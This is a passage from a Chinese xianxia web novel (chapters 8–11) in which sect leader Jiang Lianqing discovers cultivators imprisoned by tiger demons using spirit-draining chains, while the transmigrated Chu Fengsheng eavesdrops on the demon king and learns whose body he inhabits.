“也不是所有人都死了,的确和小梁哥说的一样,被妖怪带走的人都还活着。”
“可是。”
芸芸不明白。
“这样活下来,又是幸运吗?”
“他们还是要帮妖怪干坏事,还是活在性命威胁之下,这又是幸运吗?”
“这样活着,也算是活着吗?”
芸芸一下子问了很多问题,可姜涟清不知道要怎么回答。
幸运与否她说不清,这是因人而异的,或许对那些活下来的人来说,活着就是幸运,总比死了好。
她所在意的是。
明明。
她们同为幸存者。
甚至得到了一个相似的理由。
芸芸还那么小,正是个说什么就敢信什么的年纪,她那么那么觉得,春望所为是天经地义。
她感到一阵莫名的悲哀。
“这不一定哦,芸芸。”姜涟清扯出一个勉强的笑来,“活着,才有可能啊。”
8. chapter.8留痕
霞光渐渐散去,晨昏将替。
芸芸问:“什么是‘活着才有可能’?”
“活着才有可能有以后啊。”姜涟清摸了摸她的头发,“就像芸芸你一样,你活下来了,所以你见到了我。”
芸芸:“那大哥哥为什么……”
楚逢生叹了口气,似无可奈何:“命是很可贵的,无论如何,活着才有改变一切的契机,死了才是,真的什么都改变不了。”
他从袖口找出了一块白色手帕,递给芸芸,难得没说什么挑起火气的话。
“擦擦脸。”
“无论他和你说了什么,芸芸,你可以记住什么叫复仇,但也要记得,活着是一件很有价值的事。”
芸芸接过手帕,又问:“一定要记住吗?”
姜涟清点点头:“要记得哦。”
活下来的在会变成“希望”,姜涟清再清楚不过了,可背着这份关乎爱的“希望”,又是好的吗?
她不敢断言。
可她心中所想的,是要为他们报仇,不是跟随命运的足迹,只是单纯的因为她想,所以她要做。
就像她自己说的,人各有异。
她在跟着她的本心走,别人也会跟着自己的本心走。
姜涟清并不想改变芸芸的看法,死亡曾距离她太近,又太过遥远,死生都是很难以言说的事。
“芸芸,那之后,那个大哥哥去哪里了?去北方了吗?”
姜涟清把浮云坠子还给芸芸,如项链一般挂在胸口,青玉雕成的浮云纹仍有白光余留。
芸芸不解于她的行为:“姐姐?”
姜涟清烟青色的眼微垂:“他给你了,就是你的啦,你的东西我看完了,当然是还给你。”
芸芸若有所思地点头:“这样啊……”
“没有,大哥哥没有往北方走,因为他跳下去了。”
楚逢生皱眉:“什么跳下去了?”
芸芸指指村尾。
村尾的草屋尽数坍塌,火燎的痕迹久久不消,存留当时屠村之日的冰山一角。
“那边,有一口井,他跳下去了。”
姜涟清:“谢谢芸芸告诉姐姐,接下来……”
她站了起来,望向自己的来时路。
夜色已近,那条路再不是来时的光明大道,而是昏沉的小路。
姜涟清薄唇轻启:“去北方吧。”
降星洲界限分明,偏南的地方更多乃是普通人的地域,偏北方则逐渐灵气浓郁,各种灵植灵兽。
有人称降星洲的南北正中那条小溪,为仙凡之界。
“去北方吧,越过那条溪流,即便不是归谕门人,只要见了这坠子,就会给你一个家的。”
归谕门并不是降星洲最顶尖的门派,然位处碧云山,确是离凡界最近门派。
还有更多仙门,在碧云山之后。
观天象,问辰星。
听天命,得天谕。
吴云贺能把坠子给出去,或许的确是出于愧疚,但绝不仅仅是愧疚。
资质平平之人,就是给上再多时间,也不一定成功,若芸芸是这一类,送她去修仙界反而是害她。
吴云贺为唯一的幸存者选择了这样一条道路,便只得说明,她有走上这条路的资本。
芸芸:“我现在就上路吗?”
姜涟清:“现在就上路吧,以免夜长梦多。”
*
姜涟清在原地缓了一下,梳理信息。
已知信息太少了,说实话并不能拼凑出一个多完整的真相。
春望屠村的理由,是村民为虎作伥,利用吴云贺的好心暗算他,然后送给妖修。
可那群妖修抓修士的目的是什么呢?
仅仅是泄愤吗?有可能,不过会是原因之一,肯定有更大的原因让他们做出这般有违人伦之事。
算了,本来就是妖,即便有违人伦也不是不能理解,不过理解并不代表认同。
再者,那只虎妖念着楚医师,如此不可置信的模样,倒是很惊讶于再见见到楚逢生。
实在是值得深思的反应。
楚逢生看着那小女孩瘦弱的身影越来越小,喃喃自语:“芸芸众生的芸芸……有意思。”
“姜门主。”楚逢生轻轻拍了下她的肩膀,“那接下来,是顺着那妖怪的痕迹追上去,还是说去看看芸芸说的井?”
“看井。”姜涟清回答,“不是说二师兄没死成吗?无论春望还是二师兄大概都不会莫名其妙跳井吧?”
“这样啊……”
楚逢生寻思了好一会。
其实他更倾向于直接追上那个虎妖,刚好能探查一番这具身体的秘密。
如果姜涟清不优先追上去的话。
那他大概真的要不听话了。
他必须去搞清楚,这具身体的灵魂去了哪里,最好能各魂归各家。
他一个千年后的灵魂意外进了一具尸体,占了人家的躯壳。
死后魂还在,楚医师的魂去哪里了?
他穿过来时,这尸体还是温热的,人还没死多久。
投胎转世要耗费的时间绝对不短,否则就不会有那么多怨鬼留在世间了。
一个两个妖怪都能轻而易举,且毫不犹豫地说出楚医师三字,想来与他们脱不了干系。
怎么想,他便怎么做。
“那姜门主,我们兵分两路?”楚逢生一甩身前的小辫子,“我有一件很重要的事,非常非常重要。”
听到他这番强调,姜涟清倒是轻笑了一声:“哦?非常重要?兵分两路?”
“你好听话呢,楚逢生。”
楚逢生:“……”
姜涟清:“算了,你想追上去就追上去,大不了再救你一次好啦。”
她没想纠结太多,她和楚逢生又不是主仆关系,没必要过多干涉他的选择。
夜色之下,满地霜华。
一轮清月悬于天际,那璀璨繁星清晰可见。云与雾四散而开,消失不见,深色的天空唯有星月相伴。
姜涟清脚步轻缓,一步步往村尾去。
“你想去就去吧。”
楚逢生一惊:“这么好说话?”
姜涟清:“……你和我是什么特殊关系吗?还必须要听我的?”
楚逢生:“哎呀那倒没有,感觉江门主一定救过很多人,我只是其中平平无奇的一个而已。”
姜涟清闻此脚步一顿。
“不是哦。”她微微转头,唇角一弯。那对烟青色的眼睛好似一双琉璃珠:“你是第一个。”
说罢,姜涟清加快脚步,留楚逢生在身后独自愣神。
第一个……?
楚逢生心中重复了一遍。
我是第一个被她救的人?
他站在原地,大脑空白了一瞬,直到青色身影掩入夜色。
楚逢生忽然笑了一声。
救世主大人,原来是第一次入世啊。
*
楚逢生的疑点可以暂时搁置不理,他想去追便去追。
姜涟清觉着,眼下最重要的还是二师兄后来去做了什么。
他发现这样的事,绝不会坐视不理。
根据这些残留的灰烬,大可以推测是在四月之前,诡焰席卷了整个村庄,焰火连天,直到吴云贺夺过自己的身体。
姜涟清在村尾找到了那口井。
以石头堆出的井壁井口,亦有烧焦的痕迹,以及……姜涟清眸色一深。
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春望的魔息。
又不仅仅是春望的。
这是一口枯井,沿壁长满青苔,有股极其难闻的水腥味,就像是什么东西腐烂在水里,而后井水干涸,永远留于井底。
姜涟清深吸一口气,鼓起勇气跳了下去。
周遭一片漆黑,却有水流声潺潺,在狭小的空间里存在感极强。
姜涟清落地时,清秀的眉毛拧成一团。这地下魔息更浓,同时那臭味也愈发难忍。
她给自己施了个屏息咒,才拿出袖口里的长明珠照亮。
长明珠是一颗通体琥珀色的圆珠,巴掌大小,在黑暗中足以照亮整片天地,一如白昼。
于是井下的一切都清晰。
这里有条通道,一路向南,有分叉路口三个。
墙体是暗红色,姜涟清伸手触摸墙体。触感与其说是石头,倒更像是骨头,还是放置许久,已经不再坚硬的骨头。
她一边走着,一边观察墙体。
姜涟清还没走出几步,便见着一处漆黑,在一片暗红里并不明显,但上面的魔息她一辈子都不会忘。
是春望。
这墙体上的魔息,和她最初在井口探到的是一样的,因而春望格外明显。
她轻轻吹了口气,墙上的黑气顿时消散。
那是一个“云”字。
与浮云刀上所雕刻那般样式的“云”。
这是吴云贺留下的刻痕。
她抚上这刻痕,顷刻间,刻痕散发出微弱的白光,就如那枚浮云坠子一般的白光。
她朝着深不见底的通道望去,同侧墙体,差不多每隔五步便有一个发光的白点。
这是指引吗?
是吴云贺留下的方向吗?
姜涟清跟随着白点,踩过血色的水流,在通道的终点,抬头看到了一块陈旧的木板。
这木板过于老旧,有些破损,姜涟清收起长明珠,隐隐可见木板外的光亮。
她推开木板,爬了上去。
一出去,她便听到了一阵脚步声。不知来者何人,姜涟清隐去气息,将木板复原,藏进一边的灌木里。
这是一片小树林,要论枝叶长势,比碧云山下要差不少,但新生的嫩绿同样充满生机。
“啧啧,自从那个魔修来转过一圈之后,能用的货都少了。”一个粗犷的男声。
“就是说啊,这个月的人数又没抓满,大王到时候肯定又要怪罪下来!到时候虎二哥肯定又要来怪我们!”一个又尖又细的女声。
姜涟清又一次闻到了血腥味,探头去看。
一只虎妖和一只豹妖,拖着一排尸体,有的少了胳膊有的少了腿,还有的削了头发。
他们正往这边隐藏的地洞过来。
姜涟清即刻回避,侧耳倾听。
虎妖:“我说啊,抓这些修士又有什么用?对我们普通妖来说一点好事都没有,抓了这么多年也没见大王的修为有何长进。”
豹妖唉唉两声:“这话可不能让别人听去了!要是告到大王面前,我们怕是小命不保!大王这样做肯定有他的道理。”
她打开了木板。
“你想想,在大王回来之前,只有我们被这群修士追着打的份,要不是大王,我们早就被这群道貌岸然的修士打死了!谁说我们妖就是祸害的!?”
虎妖认可:“说的也是,当时要不是大王出手相助,不知用了什么法子让那修士失了法力,我肯定已经命丧黄泉了!哪还能像现在这样有一份稳定的工作。”
“就是说啊……”豹子妖和虎妖一起把尸体拖进地洞里,声音越来越小。
“我们做妖的,要学会满足……”
咔哒。
木板关上了。
9. chapter.9囚牢
说话声彻底消失在地洞里。
姜涟清神色凝重,走出灌木丛,看着尸体拖过的一道骇人痕迹。
那些尸体不是普通人的,是修士的。
闻所未闻,降星洲有这么多修士被妖所捕,众仙门居然毫无察觉吗?
不可能。
光那两只妖拖过去的尸体,少说也有十具。
真是越来越奇怪了,到底要有个什么样的理由,才能让仙门里那些人纹丝不动?这不合常理。
姜涟清看着地上歪曲的血痕,决定顺着一探究竟。
漆黑的夜是天然的保护色,走在暗处隐匿气息便极难被发现。
她一路过去感受到不少妖气混杂着血气,断定这就是这帮妖怪的大本营。
降星洲的夜通常无云,而当姜涟清抬头看去,星月都笼上了一层迷蒙的灰白色。
她心中警铃大作。
这与一月之前,春望来时一样。
星星看不见了。
姜涟清顺着血痕寻到一处铁门,而门口正有一黄一灰两只看守的小妖在窃语。她屏息凝神,试图听清,一边又开始思考要怎么进去。
“这村子里没留几个人了。”黄小妖说,“那位大人下手也太狠了,不就是一不小心骗到他身上去了。”
“那位大人下手也太狠了!”灰小妖也说,“这村里的人都快用完了,剩下那几个用不了多久了,还没找到新的人选吗?”
黄小妖感叹:“唉……世风日下,我们的事倒是少了,大王就难做喽。这抓来的修士越来越少,居然都开始聪明不上当了?不是说修士爱世人一定会出手相救。”
灰小妖:“这人哪能和我们比?我们这么重情重义,绝对不会给自己人难看的。你也听过吧,嗯?”
灰小妖用下巴点了点铁门,眼神揶揄,和黄小妖一起猥琐地笑了起来。
黄小妖:“你说的是啊兄弟。每次看这群自称两袖清风的人怪那个谁来着?反正就是最爱管我们闲事的那个。”
“啧啧啧……”
“哈哈哈哈哈哈哈……”
吱嘎——
铁门打开了。
一虎妖粗鼻子瞪眼,看着这两个小妖嬉皮笑脸就心中烦躁:“笑什么?有什么好笑的?”
灰小妖忙谄媚道:“哎呀这不是虎二哥您英明神武,这个月就您抓回来的人最多,我们高兴嘛。”
虎二哥听了这话,有些得意地哼了一声,又吩咐:“你们两个,现在和小猫小豹去砌墙,这次死了的人有点多。”
“嗳嗳嗳!”黄小妖和灰小妖对视一眼,“那二哥,这门谁来看守?万一这群修士……”
他们可不想和猫豹一起干这种又苦又累的活,那地洞伸手不见五指,什么灯到了里面都要暗上几分。
虎二哥抖了抖黄色的圆耳:“这怕什么?你们难道要质疑大王吗?除了那个魔修,还有谁能这样找过来?就是那谢砚声都没成功过!”
“这降星洲还有比谢砚声还难缠的人吗?嗯?”虎二哥眯了眯眼。
“而且谢砚声已死,再无人敢阻我们大王的路。”
姜涟清在暗处攥紧了手指,心里涌起一股无法浇灭的火。
大师兄屡次下山,就是和这群妖怪交手,每次受伤都是因为这群妖怪。
不仅是这群妖怪,还有那些与之狼狈为奸的愚昧又天真的人!
要知道,谢砚声某种意义上比吴云贺还傻。
师尊的原话说,濯尘剑就喜欢谢砚声这种单纯好骗没心机的傻子。
当时那位即墨城主在传音符的另一边沉默了好一会,打圆场似的:“濯尘喜欢心思纯净的孩子。”
黄灰两小妖见虎二哥这么说,纵是再不愿意也不得不去了。
他们笑了两声:“二哥说的是啊!二哥说的是!”
说着,不情不愿地并排向地洞方向走去,隐隐可以听见二人在小声抱怨。
虎二哥待二人走后,神情冷了下来。
今日见到的那个丫头片子,功法和谢砚声几乎一模一样,甚至更为强劲。
不应该啊,探子来报不是说,那魔修将归谕门杀的只剩一座空山,那漫天魔气持续了一个月也不是造假的。
他们这才放心不再关注难缠的归谕门,继续做事的。
眼下居然有了个从未见过的丫头片子?身边还跟着楚医师?
虎二哥眸色深沉。
该把这件事告诉大王才行,尤其是楚医师。
这么想着,他形色匆匆,走进夜色里。
姜涟清等了好一会,确定四下无人后才走到半掩的铁门前,侧身钻了进去。
里外都是一片黑。
区别在于,外头连月色都无法照射,里面的火把倒是放了一排。
橙红色的火燃得热烈,又格外冰冷。
姜涟清向着深处走去。
尽头有灯火如昼,玄黑铁锁,锁起了囚笼中一众仙风道骨之人。
有白衣胜雪,有紫衣蹁跹,亦有青衣如画。
姜涟清看到这巨大的黑色牢笼时,说不惊讶是假的。
看着如此普通的铁笼,就这样囚了一群修士。
她微微抬眸,一个一个看过去。
有人脖子上还有锁链痕迹未消,有人衣衫染血,伤口未愈,还有人丢了一只眼睛……
他们都受了不同程度的伤。
共同点在于,似乎大多都留下了锁链痕迹。
姜涟清心下一沉,怒意更甚。
那锁链到底是什么东西?种植在普通人身上,能让她的灵力无效,还能伤了好些修士。
这到底是什么东西!
“咳咳……”一白衣修士还未睡去,见到姜涟清时满目震惊,不可置信!
他一边咳嗽,一边向铁栏杆爬来,模样好不狼狈。白衣修士双手捂住铁杆。
“你是谁?你怎么找到这里的?!”这声音沙哑暗沉,似是许久未曾饮水。
这群修士深处囚笼,睡眠浅,一听到动静纷纷睁开双眼,有警惕有期待,一双双眼睛全看着姜涟清。
姜涟清咽了口口水,第一次觉得紧张。
她答道:“我乃归谕门现任门主,姜涟清。”
“姜涟清?没听过。归谕门不是说已经……”
“归谕门不是已经灭门了吗?那股魔气持续了一个月都没有消散!”
“什么?就谢砚声的那个归谕门?新来的不是说归谕门无人生还,还新门主?还是一个小姑娘?”
“归谕门门主,一个小姑娘?看来外头说的都是真的,谢砚声死了,吴云贺也没活着……”
“不知道该高兴还是该难过,啧啧,归
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谕门现在就剩一个孤女,真是令人唏嘘。”
絮絮杂谈说的都不是什么好听的话,但姜涟清也没有要反驳的意思。
归谕门灭门,只剩下她一个孤女是真,她从未出山入世,无人知晓她的姓名亦是真。
只是为何,这些话里有一种说不清的……冷嘲热讽?
姜涟清不动声色地退后一步。
那白衣修士没有参与一旁的交谈,只是低头一直念叨着三个字:“归谕门,归谕门,归谕门……”
也不知他念叨了几回,但最后,他猛得抬头,布满血丝的瞳孔骤然一缩!
“谢砚声呢!?他真死了?他就这样死了?!把我们害到这种地步他就这样去死了!?他心里不会不安吗!”
“他凭什么就这样死了!凭什么!他也配去死吗!”
他大吼,额头青筋暴起,怒不可遏。
其余修士听到他的喊声顿时不说话了,都是一副欲言又止的样子。
有个蓝衣少女走上前去拉了拉他的衣角,轻声提醒:“大师兄,不要这么大声,别让妖怪听见了……姜姑娘找到这里来也不容易……”
姜姑娘,而非姜门主。
姜涟清觉得有点好笑,这是理所当然觉得她担不起门主的位置吗?
白衣修士不理,毫不犹豫一把甩开少女,少女发出一声惊呼后跌落在地,满是悲伤。
“燕烟,用不着你提醒我!”
名唤燕烟的少女顿时气急:“白非言!说到归谕门就对着谢砚声发疯,活该你一辈子比不上他!”
“我发疯?哈哈哈哈哈我发疯?”白非言觉得自己听到了什么好笑的事。他愤愤地盯住姜涟清:“你是谢砚声的师妹?”
姜涟清蹙着眉点头。
“哈哈哈哈哈!哈哈哈哈哈——”得到姜涟清的肯定他又笑起来,“他还是真是命好,干干净净地死了,留个烂摊子给所有人!”
“要不是他和这群妖起冲突,这群妖怎么会到处捕抓修士?谢砚声狗拿耗子多管闲事,真以为自己多正直呢?”
“现在又死了,真不知道是报应还是上天眷顾他,留这么个烂摊子在自己师妹身上,哈哈哈哈哈——”
姜涟清受不了这个人的疯言疯语了。
她深吸一口气,露出一个微笑:“把话都说清楚,不然妖不杀你我杀你。”
这笑里不含温度,满是森然。
明明是长相再温婉不过的少女,此刻却笑着像厉鬼上身,不寒而栗。
那狂笑声突然停下了。
周围一言不发的众修士也面面相觑,难以置信。
白非言甚至觉得自己听错了,说出这种话的人居然来自归谕门?归谕门不该都是谢砚声那种慈眉善目……
呸!满腹虚伪之人!
姜涟清怕他笑得太大声没有注意,又重复了一遍。
“我说,把事情的来龙去脉说清楚。”
“你疯了半天,嘴里一句有用的都没有。”姜涟清笑容不减。她不经意地拖长语调:“我知道你暗恋我大师兄了,不要再强调了哦。”
白非言一下子就炸了:“我?暗恋他?就谢砚声那个伪君子,我……”
“闭嘴。”姜涟清打断他,“没人想知道你为什么嫉妒我大师兄。”
“我现在要知道,发生了什么。”
10. chapter10.锁链
一众修士你看我我看你你,最终是那个名叫燕烟的蓝衣少女站了出来。
燕烟一把扯开白非言,像扔块破布似的把他往里扔,嘴上还不忘挖苦:“谢砚声谢砚声,一天到晚就知道谢砚声,你念叨这么多年了哪次比过他了?”
砰——
白非言砸到了一名无辜修士。
那小修士吃痛,喊道:“烟姐,下次注意点啊!你家大师兄太重了!”
燕烟敷衍回复:“那下次再说吧。”
燕烟这才好好打量了一番眼前这个自称归谕门新门主的少女。
金枝玉叶,凡间大小姐似的,那双烟青的眼倒是独特,总体给人的感觉柔柔弱弱的。
可她说出来的话又……
燕烟吞了一下口水。
希望她的实力配得上她的话吧,白非言也就处于谢砚声吴云贺之下了,这两位的师妹……
算了,她现在也算有求于人。
“姜姑娘,此事说来话长,你想知道什么?”
姜涟清:“你们为什么被关在这里,因为什么才被关在这里?”
燕烟:“因为中了妖怪的计谋。”她叹了口气,真是无奈:“家中师长教导修士必要为苍生,于是遇到妖怪欺人我便毫不犹豫出手了,谁曾想那人和妖怪是一伙的?”
“至于这群妖为什么要抓我们,理由模模糊糊的,总之走出这个笼子的人再也没活过。”她顿了一下,“他们口中的大王,好像要以这种方式报复谢砚声?也不尽然,谢砚声死了不还是在做这种事。”
姜涟清从白非言口中听到她大师兄的名字时,就很想知道原因为何了。
姜涟清:“和我大师兄有什么直接关系?因为他几次三番阻止了这群妖害人吗?”
燕烟下意识回头看了一眼白非言,脸色一言难尽:“其实是个我大师兄很难接受的原因。”
她说:“谢砚声是元婴期,他太强了,那锁链困不了他,这群妖怪一直骗一直骗都因为打不过他而没得手。”
“谢砚声好骗是真的,但是实力弥补了他好骗也是真的。不过在这群妖眼里,这也太羞辱他们了,不是吗?”
姜涟清:“……”
大师兄,你已经傻到谁都知道你赤子之心实力强悍了吗?
燕烟轻咳两声,余光瞥见白非言的臭脸,就知道他又生气了。
听见谁夸谢砚声他都生气。
“反正,降星洲这几个元婴期修士里,他们最恨谢砚声。”
姜涟清:“……那我大师兄还真是举世闻名。”
姜涟清又想到了那从村民胸口长出来的铁链,想来就是这种链子让他们失了灵力,才导致他们被这群实力一般的妖抓走。
那黑色的链子,到底是什么?
她这样想着,也这样问了。
“那链子,到底是什么东西?”
燕烟一愣。
她又转头去看白非言,对方明显也怔住了,周围人如出一辙的震惊。
姜涟清提到了黑色的链子,可那黑色链子能把他们全部困在,目前唯一已知屡战屡胜的人是谢砚声。
这锁链不把他们全部困住绝不停息,问遍囚牢没有人能给出不同的答案。
而除了那些胸口长了链子的村民,她只知道在这牢笼便是由这种金属所筑。
谢砚声是元婴期,那他这位师妹是怎么逃脱的?
答案似乎不言而喻。
燕烟:“姜门主,在此之前请先为我解惑。你是为何而来?又是怎么找到这里的?”
迄今为止,还未有修士站在牢笼外,完好无损地和她说过话。
姜涟清回道:“我的经历应该和你们经历过的是一样的,区别是那妖怪没在我这讨着好。”
“然后,我在那个村子的枯井里,找到了二师兄的记号,顺藤摸瓜,就找到这里来了。”
她敏锐察觉到了燕烟的态度变化。
若说提及这诡异的链子前,燕烟对她根本不抱有对一门之主的尊敬,那在她主动问起时,她和她师兄,以及在场所有人的表情变化都在告诉她:这出乎他们的意料。
确切说,是她的实力出乎意外。
“现在,可以回答我的问题了吗?那链子是什么?”
燕烟紧绷的神情骤然放松,她笑着和白非言说:“大师兄你看,你敌不过的何止谢砚声?他师妹你比不上。”
白非言冷哼一声,不说话了。
燕烟再次看向姜涟清时,眼中带了些期许,就好像姜涟清是他们唯一的希望。
“说真的,在座都是卜修,对这些器修在行的东西几乎完全不懂,但它的怪异之处,想必姜门主体验过后心中有数。”
“……它能吸收我们的灵气。”
“那些妖的修为并不至于让我们大多数人败下阵来,我们基本都已结丹,还不至于被这些化形都不完全的妖打败。”
“可灵力不通便不同了,这东西一旦缠上,就和建起了什么屏障似的,一丝灵力都使不出,毫无还手之力。”
姜涟清:“也就是说,你们只能从自身和我大师兄的特例上得出,只要到了元婴期就能依绝对的修为扛过?”
燕烟:“嗯,不过也只是推测。”
姜涟清垂眸,心中不安:“坏了。”
燕烟:“什么?”
姜涟清后悔让楚逢生追上去了。
要是金丹期修士无力抵抗,那他追上去不就是自投罗网?而且那妖怪看见他的反应如此诡异,更落不到什么好下场。
坏了坏了。
她就应该硬拽着楚逢生走枯井的,这人放哪都不好,就是放自己眼皮子底下才最安全。
姜涟清回:“没什么,就是有个同行的朋友不知真相,和我兵分两路了,有点担心。”
她想了想,这些人肯定是要救的,对她大师兄出言不逊肆意抹黑是一回事,可是总归没做伤天害理之事。
更何况他们都是因为自己善心大发才被抓的。
姜涟清:“那要怎么救你们出去?虽然你大师兄说话确实难听,但见到苦难无动于衷,我们归谕门人做不到。”
姜涟清指尖戳了一下这铁栏杆,与触碰到那链子时一样的,灵力渐失的感觉席卷而来。
她放手,这种感觉亦随之而去。
“这……”燕烟为难了,她进来的时日是这一批人里最晚的,“白非言!出来说话!”
遇事不决,甩锅师兄。
她这个师兄除了老对着谢砚声发疯,勉强算靠谱。
白非言一言不发,冷冷扭过头去。
燕烟:“白非言,说话!再不看过来我给你眼珠子扣出来!”
姜涟清:“……”
这位燕烟姑娘对自己人还真是……或许他们宗门就是这样,打是亲骂是爱。
白非言被吼了一句,才状似被迫地转过头来。
姜涟清这才好好看了看这人。
不得不说,他是这批人里受伤受的最骇人的,两条腿扭曲,好似是断了,怪不得见到她时只能爬过来。
他那哑掉的嗓音,怕是在这里关了太久,又滴水未进导致的。
虽说金丹期修士不吃饭不喝水也能活着,但长久以来变成什么样都不奇怪。
白非言:“他们那个所谓的大王,有一把钥匙,栓在他裤腰带上,每次来新人,虎大王就会亲自过来开门。”
他瞥了一眼自家
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师妹:“这种细节都注意不到。”
燕烟:“……”
燕烟深呼吸,告诉自己不要和这个自负的蠢货生气。
燕烟:“然后呢,别扯我啊,你倒是和姜门主说完整。”
“然后。”白非言白眼一翻,继续说,“嗯……其实也没什么好然后的。”
“就是,谢砚声真的死了?”他不死心,他还没从姜涟清那里得到肯定答案。
姜涟清一抬眼,眼波如水:“你非要在一个宗门孤女面前,提起她已逝世的大师兄吗?”
白非言自知理亏,不再提起。
“对了,关于那个锁链。”
白非言突然想起来了,在早年间确实有一医修来过降星洲,为燕烟安上她掉了一个月的眼珠子。
就是那天起,他这位师妹不再避讳,也不再黯然神伤。
后来甚至能半开玩笑说要扣他眼珠子。
“这应该是嫁接之术,来自初日洲,这链条是近二十年才开始出现在仙凡之界外的,这期间刚好来过一位初日洲的医修。”
燕烟小跑几步来到他身边蹲下:“你怀疑什么?”
白非言怪她挡自己视线,一把给人推到一边:“一边去,反正不是你想的那样。”
“我只是怀疑,这群妖是不是从这位医师手里学得嫁接之术。他是绝不会帮着这群妖害人的人。”
姜涟清听懂他的意思了。
“所以你怀疑,他们逼迫这位医修交予嫁接之术,事后杀人抹迹?”
白非言点了点头,思索片刻,又言:“那虎大王不是什么善茬,他身上有股魔息,我从未见过。”
“好,我知道了。”
姜涟清无声地笑了一下。
这可真是,太有意思了。
思来想去,那股魔息肯定不是春望的。地洞尸体堆成的墙体上,除了那排吴云贺刻下的字,皆是陌生气息。
就像每个人的灵气都有自己的特点一样,魔气也有魔物本身独特的气息。
那股气息虽然不是春望,却同样强烈,绝不是一般妖邪会有的气息。
是否可以猜测,还有别的妄洲邪祟来了降星洲?
*
此方天地不见星月,不便观星。
好巧不巧,虎大王平生最恨的就是这漫天辰星。
那个叫谢砚声的修士,就是通过观星之术,算到了他化形后做的第一件事——也是他现在在做的事。
观天象窥天命,注定要付出代价。
那是虎大王第一次知道观星,也是最后一次听到观星。
如此有损心脉的招数,也不知降星洲人为何如此向往。
他既杀人取丹增进修为,也试着尝过这群修士的肉是什么味道。
就和老虎吃人的肉会上瘾一样,他吃了一次对这些修士的肉上瘾了。
想到这,他的神情都阴冷。
也是谢砚声,是谢砚声揭发了他杀人吃肉,联合仙门百家对他喊打喊杀,逼得他不得不逃去沧州。
但,也幸亏自己去了沧州这一遭。
虎大王嘴角弯起一个诡异的弧度。
若不是沧州机缘,他还得不到在降星洲为所欲为的能力。
这片天地,降星洲那些修士永远都别想找到。
那位大人还真是手段高明心地善良,助他蒙蔽了降星洲的星星,也隐去了此方天地的位置。
他向来不屑于用修士的词来形容事物,可他自从得到这位大人相助,却觉得,“机缘”二字真是贴切。
这群傲慢的修士就去找吧。
他们永远都找不到自己走失的可怜小弟子了。
虎大王摸了摸自己浑圆的肚皮。
11. chapter.11窃听
恰巧是雨后,土壤湿润,土地留下的脚印再清晰不过。
楚逢生漫步在森林里,顺着那只虎妖留下的脚印一路往南去。
月作明灯,星辰为缀。
而天有不测风云,待他来到一处明显隐匿了气息的地界时,嗅到了一丝不安。
楚逢生抬头望天。
人人都说降星洲的星月是尘缘九洲最明亮的。
可他一步之遥外的地界,月影模糊,辰星微渺,似大雾弥漫,掩盖了星月的视线,掩去了月下的未知。
楚逢生没在这条界限停留太久。
他要寻到这具身体的魂,首先要知道他是谁,眼下唯一的线索,就是这一个两个妖修口中吐出的“楚医师”。
楚逢生只能顺着这条线走。
他迈过了交界线。
周遭倏然黯淡,薄雾隐去月芒,藏起月下的辛秘。
刚踏进这片天地,楚逢生就忍不住皱起了眉头。
非常非常强烈浓郁的魔气。
他掐了个隐息决,无声无息,继续追着妖修的脚印。
毫无疑问,这是一处危险地,属于妖修的地盘,怎么小心都不为过。
一路穿过草木,他终于看到了一座大殿。
说是大殿倒也不完全,总之比他在初日洲的宗门要简陋不少,但放在妖界里绝对算得上豪奢。
飞檐之上坠着琥珀色的长明珠,青玉做柱子,支起丹霞玉铸成的大殿顶部,再以几颗鲛人泪点缀白玉牌匾。
那玉匾上刻着三个大丑字“大王宫”。
毫无意义的搭配。
楚逢生眼角抽了抽,无话可说。
谁能救一下他的眼睛?
这品味不是一般烂,要是放到盈洲那种审美极佳的地域,这丑东西能评上盈洲的最骇房屋奖。
又丑又贵,暴遣天物。
定能让这房子的主人体验一下唾沫版的流水直落三千尺。
他才想着下一步动作要怎么办,就见一妖神色凝重地走近大殿。
楚逢生定睛一看,那双黄色毛绒耳朵怪眼熟的。
虎二哥鼻子翕动,轻微皱眉,细闻空气间的气味,他左瞧右看,总觉得哪里不太对。
楚逢生见此情形又给自己施了个咒。
这地方估计就是妖怪大本营没错了,他贸然前来,假若在妖的地盘暴露气息,还什么都没查到就要被追杀了。
婆娑树影摇曳生风,轻风吹走了空气中的气味。
虎二哥又仔细闻了闻,却只闻到他最熟悉的气味。他一拍脑门,自言自语:“算了,当务之急还是要先向大王禀报楚医师的事。”
虎二哥神情复杂,似有一丝不忍,语气都有些埋怨:“楚医师当时要是好好听话,也不至于落得如此下场……”
他甩了甩耳朵,推开大门走进去,门随手一关,却未关紧。
楚逢生眉头一挑。
天助我也。
他从树上揪下来一片叶子,几下叠成一只小飞虫,施以他最有用的,用于防范同门陷害的窃听之术。
青虚谷那个地方,人灵地杰是真的,但总有傻逼嫉妒天才又有什么办法?毫无办法。
只能自身出点无伤大雅的小阴招,防患于未然。
青色小飞虫刷一下飞了出去,挤进了门缝中。
大殿之上,虎大王挺着圆肚皮,姿态慵懒,正拿着根小树枝剔牙齿。
几根凌乱白骨堆在一边血迹未干的地毯上,还挂着几丝血淋淋的肉,一微小的绿色虫子就叮在此处。
虎二哥到大殿之上,立即加快了脚步,走到虎大王跟前,实实在在地跪下了。
“大王!小的有一事相报!”
虎大王未立刻应声,瞥了他一眼,继续专心致志地剔牙,等终于扣出牙缝里的碎肉,他吐了一口口水,连着碎肉一起落在艳红的地毯上。
他本就是人形,伸手擦了擦嘴角未干的血渍。虎大王有一搭没一搭地敲着椅边,凌厉的眉眼一抬:“起来吧,起来好好说。”
“是!大王!”虎二哥应声起立,几步跨上台阶,在虎大王左侧跪坐下来。
他靠着这把巨大的椅子,急不可耐道:“大王!楚医师没死!”
虎大王指节一顿。
“小的今日前往白玉村时,遇到一个和谢砚声一样难缠的女子!然后……!然后小的本来都要得手了。”
“楚医师突然就出现了!也不知他是用了什么手法,一针下去,您精心研究的黑链就全部缩了回去!”
虎大王冷哼一声:“技不如人便技不如人,你都说和谢砚声一样难缠了,搞得好像你还能敌得过似的?”
“是哪个元婴期?”
“我,我我我……”虎二哥没想到大王第一句先戳穿自己的谎言,“我那不是……哎呀大王!”
“重点是楚医师啊!楚医师!楚予思他没死!”
躲在宫殿外的楚逢生表情微妙。
这下他终于知道所谓楚医师姓甚名谁了,这名字还真是……耳熟能详。
对千年后的青虚谷来说,耳熟能详。
后世人人都知楚予思医者仁心闻名大陆,引无数医者心生敬畏。
亦人尽皆知,楚予思死于救世之旅。他陪着姜涟清跨过整个大陆,南下去往妄洲,最终殒命,为此次旅途付出生命代价。
他竟是穿成了楚予思?
不对,其中有猫腻。
